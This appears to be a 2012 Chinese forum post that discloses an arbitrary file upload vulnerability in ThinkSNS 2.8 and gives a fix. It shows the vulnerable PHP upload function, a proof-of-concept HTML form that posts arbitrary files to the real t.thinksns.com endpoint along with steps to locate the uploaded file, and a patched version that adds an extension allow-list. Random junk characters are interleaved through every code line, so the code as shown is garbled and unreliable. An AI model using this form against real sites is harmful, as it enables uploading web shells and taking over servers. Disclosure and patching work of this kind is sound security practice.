找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2124|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
) Z7 _# P$ w. f7 g8 W) z, c3 @% s6 l; c

: e) T6 p/ A! u" p; a% S- c\api\StatusesApi.class.php) F* [% R  E; z3 F& T4 b6 w  b

1 l/ P/ J( U( W* \function uploadpic(){
, ]4 m+ y! X+ ~3 i! u  A) v      if( $_FILES['pic'] ){3 O0 h6 H1 `) |' z" U3 G! Y
     //执行上传操作$ ?. }3 b1 o5 h* z7 O
     $savePath =  $this->_getSaveTempPath();
; O% R6 }$ \1 Q% K8 L     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);* l) S; c4 }6 @" X7 h' Z
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
4 `3 S, M( a7 I  U3 f       {' j' b+ a1 I8 H1 J: I
        $result['boolen']    = 1;
2 P( T6 y5 z- W, y' d        $result['type_data'] = 'temp/'.$filename;. W2 Y* G$ V2 u8 T/ C0 i
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;; V0 @5 W" ^: v5 M/ `4 g
       } else {9 q% ?# j5 |* v  y" ^9 J$ e6 D* J, E
        $result['boolen']    = 0;
* q8 f+ _! }5 S        $result['message']   = '上传失败';5 I7 p  S1 A3 ~  r
       }
. J! _1 g, f  p( X; q  q     }else{
6 g& T: _# Q- N& h% ~7 a/ \  z         $result['boolen']    = 0;7 `- K3 T. L! `7 j) U: D" b( T
         $result['message']   = '上传失败';6 L4 f2 G! V. @) d; E
     }) N+ V" T( E1 w" K
return $result;
9 p- n* l! @6 a/ `    }
3 i' m0 ]3 L7 e3 d* yunloadpic()方法没有对文件类型进行验证- r$ N; O3 r% D- s3 g( |

3 p9 d4 N5 Z/ \! m可以构建表单, 选择任意文件, 提交到
3 G" m* y* {6 g/index.php?app=w3g&mod=Index&act=doPost, h8 V  v1 @0 i5 o3 a0 b4 q$ Z

5 @) e6 B3 |& A+ b% @0 b在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)6 i. D! n0 V' w4 Z: a: q1 i" }

/ t' G- E- l! m, o7 [3 T' k
* B6 Z: y+ t9 P" a在登录thinksns官方微博后,
/ _6 _% v9 L* f2 I构建以下表单:# Y! o2 D4 q4 S& b2 `

  f1 V) z/ R) o1 N; v3 j. Y2 I<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />3 [6 y% n  p# K1 U: J
<textarea name="content">test</textarea>% C4 C! K' E  k0 s
file: <input id="file" type="file" name="pic" />
0 y3 k" u1 V5 H/ ?& r/ A2 `<input type="submit" value="Post" />
  o/ X$ I7 c! ]6 f/ q</form>
, Q$ \5 G/ x. G2 R+ W0 p8 y* }去掉缩略图的前缀(small_ )- w- L/ m6 P1 P7 ]& Z/ W. t2 p
​修复方案:" l2 I. \% ^& s6 L$ L

: U3 n( v4 {% X/ g% a- E
0 U2 ~, F6 y/ b\api\StatusesApi.class.php
  X( t$ j6 x- B # U% t5 c9 Z2 s/ X5 [7 U
function uploadpic(){
. T% J/ D6 s9 g$ a5 z     /**; B3 c, z6 g" B( R
      * 20121018 @yelo
1 o/ }6 q$ B5 j      * 增加上传类型验证
1 }% x/ f# b+ ]$ v$ z: N      */0 b# J% `2 _; a- A
     $pathinfo = pathinfo($_FILES['pic']['name']);) h' f% |2 T; v! f( M. A
     $ext = $pathinfo['extension'];
/ c; u/ e4 h! E$ F $allowExts = array('jpg', 'png', 'gif', 'jpeg');7 |+ j) G: [$ d4 m. G- w5 `
9 J* Y* |8 R8 v: I& Z
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
$ d) \7 d& ]. S. @5 f! f! A3 P& J
0 u. _2 p1 i5 V; f: _. ]) t: O     if( $uploadCondition ){
' @8 `, v' `, @; j. h- v2 O     //执行上传操作; o7 t- j; I- }4 ]  ^* o
     $savePath =  $this->_getSaveTempPath();4 |9 A- H2 h/ I
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
, I* C7 _6 c/ ?, P    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))$ [" w' a0 ?1 E- y) ~, I$ Q# }
       {# r0 F3 V3 x8 C; G$ Y
        $result['boolen']    = 1;$ p( ^7 }2 \( i; t! I+ R
        $result['type_data'] = 'temp/'.$filename;
  m' g3 B' ~+ R9 D5 z        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;% }4 Y! x; s3 }# A
       } else {
: E  d2 n" `6 h) Q- B        $result['boolen']    = 0;
; u: n) p- {: ^        $result['message']   = '上传失败';5 L  V; d) F2 {. j8 ^9 D
       }: H; g8 @7 R6 A6 z$ }7 K+ r
     }else{( V/ [" O. E- ?  ]1 h
         $result['boolen']    = 0;
& |" k# s4 u& X2 p) ?/ G) i         $result['message']   = '上传失败';; j' G; ?4 p5 h# b; [
     }
, Y9 U' }9 }/ S+ J. W8 Mreturn $result;
5 i/ e7 s5 K5 p3 ^. G+ q+ |2 S    }
0 O& v6 j' Q+ A7 }2 V& V" M% P$ j& r6 |2 j& u- Y

. q$ T: W7 |4 m! x7 U- ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表